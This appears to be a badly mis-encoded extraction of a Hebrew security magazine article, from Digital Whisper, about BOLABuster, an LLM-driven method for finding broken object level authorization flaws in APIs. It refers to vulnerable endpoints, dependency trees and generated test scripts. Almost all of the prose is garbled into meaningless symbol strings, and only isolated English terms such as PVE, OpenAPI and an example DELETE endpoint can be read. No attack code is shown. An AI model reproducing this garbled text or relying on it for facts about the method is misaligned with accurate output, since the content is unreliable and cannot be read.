BOLA Σ˧˸˦˪˥ˢ ˡˡˣˬ˸ˢ˪ ˫˰ ˢ˧˰˟ˢ ˸˶ˤ˰˟ AI ˪˰ ˧ˡ˧ ˥ˣ˸˧˲ˢ ˪˷ BOLABuster Φ˸˧˧ˠˣ˪ˣˡˣ˸ˬ 

BOLABuster ˸˪˴ˮˬ ˸˞ ˸ˣ˪ˣ˩˧ ˭ˣ˧ˠ˧ˢˢ ˪˷ LLMs ˧ˡ˩ ˭˧˟ˢ˪ ˫ˣ˷˧˧ API ˰˴˟˪ˣ ˸ˣˬ˧˷ˬ ˧ʕ˧ˣˢ BOLA ˣ˧ˢ˷ 

˶˟˰˟ ˸ˣ˧ˮˡ˧ ˸ˣ˪ˤˣˠˣ ˭ˬˤ ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞Φ 

˫˸˧˶ˣˠ˪˞ˢ ˪˷ BOLABuster Σ˧˲˩ ˶˞ˣ˸ˬ˷ ˫˧˷˶˸˟ н Σ˷˶ˣˡ ˵˶ ˸˞ ˦˶˲ˬ sπAPI ˪˷ ˫ˣ˷˧˧ sπAPI ˡ˰ˣ˧ˬˢ 

˦˪˵˩ ΦBOLABuster ˶˴ˣ˧ ˸˞ ˪˩ ˧˶˵ˬ ˢ˵˧ˡ˟ˢ ˦˶˲ˬˬ sπAPI Φ˧˪˩ˢ ˨ˬˣ˸ ˫ˣ˧˩ ˦˶˲ˬ˟ OpenAPI 3 Σ

˦ˬ˶ˣ˲ˢ ˳ˣ˲ˮˢ ˶˸ˣ˧˟ ˧˦˶˲ˬ˪ APIΦ 

 
 ϐнΥ    BOLABusterώ 

 
 

˸˧˧ˠˣ˪ˣˡˣ˸ˬ BOLABuster ˸˪˪ˣ˩ ˢ˷˧ˬ˥ ˫˧˟˪˷ ˫˧˧˶˵˧˰Υ 

мΦ ˧ˣˢ˧ˤ ˸ˣˡˣ˵ˮ ˢ˴˵ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ ˢ˲˧˷˥˪ ύPotentially Vulnerable Endpoints: PVEsΥό ˟˪˷˟ 

˭ˣ˷˞˶ˢ ˣˮ˪˷ BOLABuster ˢˢˤˬ ˸ˣˡˣ˵ˮ ˢ˴˵ ˪˷ API ˸ˣ˧ˣ˷˰˷ ˸ˣ˧ˢ˪ ˸ˣ˰˧ˠ˲ ˪πBOLA Φˣˮ˞ ˫˧ˡ˵ˬ˸ˬ 

˸ˣˡˣ˵ˮ˟ ˢ˴˵ ˸ˣ˸ˬˣ˞ˬ ˫˰ ˧˶˦ˬ˶˲ ˦˪˵ ˫˧ˢˤˬ˷ ˭˲ˣ˞˟ ˧ˡˣ˥˧˧ ˫˧˦˵˧˧˟ˣ˞ ˸˩˶˰ˬ˟ Σ˭ˣˠ˩ ˫˷ ˷ˬ˸˷ˬ Σ

˪˧˧ˬ˧˞ ΣteamId, invoiceId xπvisitId Φ˸ˣˡˣ˵ˮ ˢ˴˵ ˫˰ ˫˧˶˦ˬ˶˲ ˣ˪˞ ˸ˣ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˸ˣ˰˧ˠ˲ ˪πBOLA ˫˞ 

πsbackend ˣˮ˧˞ ˥˧˪˴ˬ ˸ˬ˞˪ ˸˞ ˸˵˧ˠˣ˪ ˸ˣ˞˷˶ˢˢ ΦπsAI ˰˧˧˯ˬ ˥ˣ˸˧ˮ˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˫˧˶˦ˬ˶˲ˢˣ ˪˷ 

˪˩ ˸ˡˣ˵ˮ ˢ˴˵ ˧ˡ˩ ˰ˣ˟˵˪ ˣ˪˞ ˫ˢˬ ˫˧˯˥˧˧˸ˬ ˫˧ˮˣ˸ˮ˪ ˫˧˷˧ˠ˶ x˞ ˫˧˶˧ˤ˥ˬ ˫˸ˣ˞ Φ 
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˫˧˷˶˸ о ˠ˧˴ˬ ˦˯ ˪˷ ˸ˣˡˣ˵ˮ ˢ˴˵ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ ˢ˲˧˷˥˪ ύPVEsΥό 

 
 ϐо Υ    πBOLAώ 

нΦ ˸˲˧˷˥ ˸ˣ˪˸ ˭˧˟ ˸ˣˡˣ˵ˮ :ˢ˴˵ ˟˪˷˟ ˢˤ BOLABuster ˥˸ˮˬ ˸˞ ˸˵˧ˠˣ˪ ˫ˣ˷˧˧ˢ ˧ˡ˩ ˱ˣ˷˥˪ ˧˶˷˵ 

˸ˣ˪˸ ˭˧˟ ˸ˣˡˣ˵ˮ ˢ˴˵ ˪˷ API Φ˪˷˟ ˰˟˦ˢ sπStateful ˪˷ ˧ˬˣ˷˧˧ Web ˫˧˧ˮ˶ˡˣˬ Σ˸ˮ˟ˢ ˫˧˞ˮ˸ˢ 

˫˧ˬˡ˵ˣˬˢ ˪˷ ˸ˡˣ˵ˮ ˢ˴˵ ˧ˮ˲˪ ˢ˵˧ˡ˟ˢ ˞˧ˢ ˸˧˦˧˶˵Φ ˢˬˠˣˡ˪ Σ˧ˡ˩ ˵ˣˡ˟˪ ˸˞ sπAPIs ˪˷ ˢ˲ˣ˵ ˪˷ 

˞˸˧˧˴˵˧˪˲ ˸˪ˠ˰ ˸ˣ˧ˮ˵ Σ˷˧ ˱˧˯ˣˢ˪ ˢ˪˧˥˸ ˫˧˦˧˶˲ ˢ˪ˠ˰˪ Φ 

ˢ˪ˣ˰˲ xʕ ˸˷˶ˣˡ ˸˰ˡ˪ ˸˞ sπitemId sxπcustomerIdΦ ˣˮ˞ ˫˧ˠˣˣ˯ˬ ˸ˣˡˣ˵ˮ ˢ˴˵ ˸ˣ˦˪ˣ˲˷ ˫˧˶˦ˬ˶˲ 

˫˧˷˶ˡˮˢ ˶ˣ˟˰ ˸ˣˡˣ˵ˮ ˢ˴˵ ˸ˣ˶˥˞ ˸ˣ˧ˮ˶˴˧˩ ύProducers όˢ˪˞˩ˣ ˸ˣ˪˟˵ˬ˷ ˫˧˶˦ˬ˶˲ ˣ˪˞ ˸ˣ˧ˮ˩˶˴˩ 

ύConsumers Σό˧˲˩ ˠ˴ˣˬ˷ ˫˧˷˶˸˟ пΦ ˪˩ ˸ˡˣ˵ˮ ˢ˴˵ ˢ˪ˣ˩˧ ˡ˵˲˸˪ ˭s ˸˧ˮ˶˴˧˩ ˭ˢˣ ˸˧ˮ˩˶˴˩Φ sπAI 

˰˧˧˯ˬ ˥ˣ˸˧ˮ˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˫˧˶˦ˬ˶˲ˢˣ ˪˷ ˪˩ ˸ˡˣ˵ˮ ˢ˴˵ ˧ˡ˩ ˰ˣ˟˵˪ ˫˞ ˸ˡˣ˵ˮ ˢ˴˵ ˸˥˞ ˢ˪ˣ˩˧ ˦ˣ˪˲˪ 

˫˧˩˶˰ ˫˧˷˶ˡˮˢ ˦˪˵˪ ˪˷ ˸ˡˣ˵ˮ ˢ˴˵ ˸˶˥˞Υ 

 ϐпΥ ύ    Producersύ    όConsumersώό 

˞ˬˠˣˡ˟ xʕ ˥˵˧ˮ ˞ˬˠˣˡ˪ ˸˞ sπConsumer ˭˧˧˴ˬˢ ˸ˣˡˣ˵ˮ ˢ˴˵ DELETE /users/v1/username Σ˧ˡ˩ 

˰˴˟˪ ˸˞ ˢ˞˧˶˵ˢ ˸˞ˤˢ ˫ˣ˷˧˧˟ Σˢ˧ˢˮ ˫˧˟˧˧˥ ˰˴˟˪ ˸˞ ˸˥˞ ˸˞˧˶˵ˬ ˢ˴˵ˢ ˠˣ˯ˬ ˸ˣ˧ˮ˶˴˧ˢ 

ύProducers Σό˪˰ ˸ˮˬ ˶˴˧˧˪ x˞ ˳˪˥˪ ˨˶˰ ˭˧˵˸ ˠˣ˯ˬ username Σˢ˶˵ˬ˟ ˢˤˢΦ 

  



 
 

BOLABuster:  BOLA   LLMs 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  ммо 
 

оΦ ˸˵˲ˢ Execution path and Test Plan Υ˸ˣ˰˴ˬ˞˟ ˫˧˶˴ˣ˸ˢ ˧ˮ˷ˬ ˫˧˟˪˷ˢ ˫˧ˬˡˣ˵ˢ Σ˸˰˩ 

BOLABuster ˶˴ˣ˧ ˳˰ ˸ˣ˧ˣ˪˸ ˶ˣ˟˰ ˪˩ PVE Φ˪˩ ˸ˬˣ˴ ˠ˴˧˧ˬ ˸ˡˣ˵ˮ ˢ˴˵ ˪˷ API Σ˪˩ˣ ˢ˴˵ ˸ˬˣ˴ˬ ˟˞ 

˸ˬˣ˴˪ ˭˟ ˠ˴˧˧ˬ ˶˷˵ ˸ˣ˪˸ ˣ˟˷ ˢ˶ˣˢˢ ˞ˣˢ ˭˩˶˴ ˡ˪˧ˢˣ ˞ˣˢ ˭˶˴˧Φ ˷˶ˣ˷ˢ ˪˷ ˪˩ ˳˰ ˸ˣ˪˸ ˞ˣˢ PVE Σ

˟˧˸ˮˢˣ ˪˩ˬ ˢ˪˰ ˶ˣ˷˪ ˷ˠ˴˧˧ˬ ˟˧˸ˮ ˰ˣ˴˧˟ ˪ˣ˩˧˷ ˰˧ˠˢ˪ ˪πPVE Φ˶˥˞˪ ˭˩ˬ Σˣˮ˞ ˫˧˶˴ˣ˧ Test ˶ˣ˟˰ ˪˩ 

Execution Path ύ˟˧˸ˮ ˰ˣ˴˧˟ Σό˸˪˪ˣ˩ˢ ˸˞ ˪˩ ˧˟˧˸ˮ ˰ˣ˴˧˟ˢ ˪˷ sπPVE ˸ˣ˞˧˶˵ˣ sπAPI ˫ˢ˪˷ Φ˫˧˷˶˸ 

р ˠ˧˴ˬ ˢˬˠˣˡ ˳˰˪ ˸ˣ˪˸ ˫˰ ˢ˰˟˶˞ Execution pathsΥ 

 

 ϐр ΥDependency tree with 4 execution pathsώ 

пΦ ˸˶˧˴˧ Test scriptsΥ ˟˪˷˟ ˢˤ BOLABuster ˶˧ˬˬ ˪˩ ˟˧˸ˮ ˰ˣ˴˧˟ ˪πExecutable Bash Script ˸ˣ˰˴ˬ˞˟ 

LLMs Φ˪˩ ˦˲˧˶˵˯ ˰˴˟ˬ ˸˶ˡ˯ ˸ˣ˞˧˶˵ API ˸˶˷˪ ˡ˰˧ Σ˪˥ˢ ˬπLogin ˧ˡ˩ ˪˟˵˪ Tokens ˶ˣ˟˰ sπUsers 

˫˧˥˵ˣ˪˷ ˵˪˥ ˟πTest ˫˧˧˸˯ˬˣ ˢ˞˧˶˵˟ ˪πPVEΦ ˪˩ ˦˲˧˶˵˯ ˢ˵˧ˡ˟ ˪˪ˣ˩ ˸ˣ˥˲˪ ˧ˮ˷ ˫˧˷ˬ˸˷ˬ 

˫˧˸ˬˣ˞ˬ Σ˶˷˞˩ ˷ˬ˸˷ˬ ˡ˥˞ ˢ˯ˮˬ ˸˷ˠ˪ ˫˧ˮˣ˸ˮ˪ ˪˷ ˷ˬ˸˷ˬ ˶˥˞ Φ˫˞ ˷ˬ˸˷ˬ ˡ˥˞ ˥˧˪˴ˬ 

˸˷ˠ˪ ˫˧ˮˣ˸ˮ˪ ˪˷ ˷ˬ˸˷ˬ ˶˥˞ x˞ ˸ˣˮ˷˪ ˫˸ˣ˞ Σˣˢˤ ˶ˣ˦˵˧ˡˮ˧˞ ˪πBOLAΦ 

˫˧˷˶˸ с ˠ˧˴ˬ ˢˬˠˣˡ ˸˧˪˪˩ ˸˵˧ˡ˟˪ PVE Φˢ˵˧ˡ˟ˢ ˸˪˪ˣ˩ ˧ˮ˷ ˫˧˷ˬ˸˷ˬ Σ˯˧˪˞ ˟ˣ˟ˣ Σ˫˧˯ˮ˩ˮ˷ 

˸˩˶˰ˬ˪ ˫˧˪˟˵ˬˣ Tokens Σˢˤˬ˷˫˧ ˪˩ ˡ˥˞ ˫ˢˬ ˢ˶ˣ˴˟ ˸˧ˡˣ˥˧˧Φ ˯˧˪˞ ˸˶˴ˣ˧ Article ˶˥˞˪ˣ ˭˩ˬ 

Comment ˪˰ ˶ˬ˞ˬ ˢˤ ˸˩˶˰ˬ˟ Φ˧ˢˤˬ sπArticle sxπComment ˫˧˶ˬ˷ˮ ˫˷˪ ˷ˣˬ˧˷ ˸ˣ˞˧˶˵˟ API 

˸ˣ˞˟ˢ Φ˟ˣ˟ ˢ˯ˮˬ ˰˴˟˪ ˢ˪ˣ˰˲ ˸˧ˮˣˡˤ π ˵ˣ˥ˬ˪ ˸˞ ˢ˟ˣˠ˸ˢ ˪˷ ˯˧˪˞ Φ 

  








































































































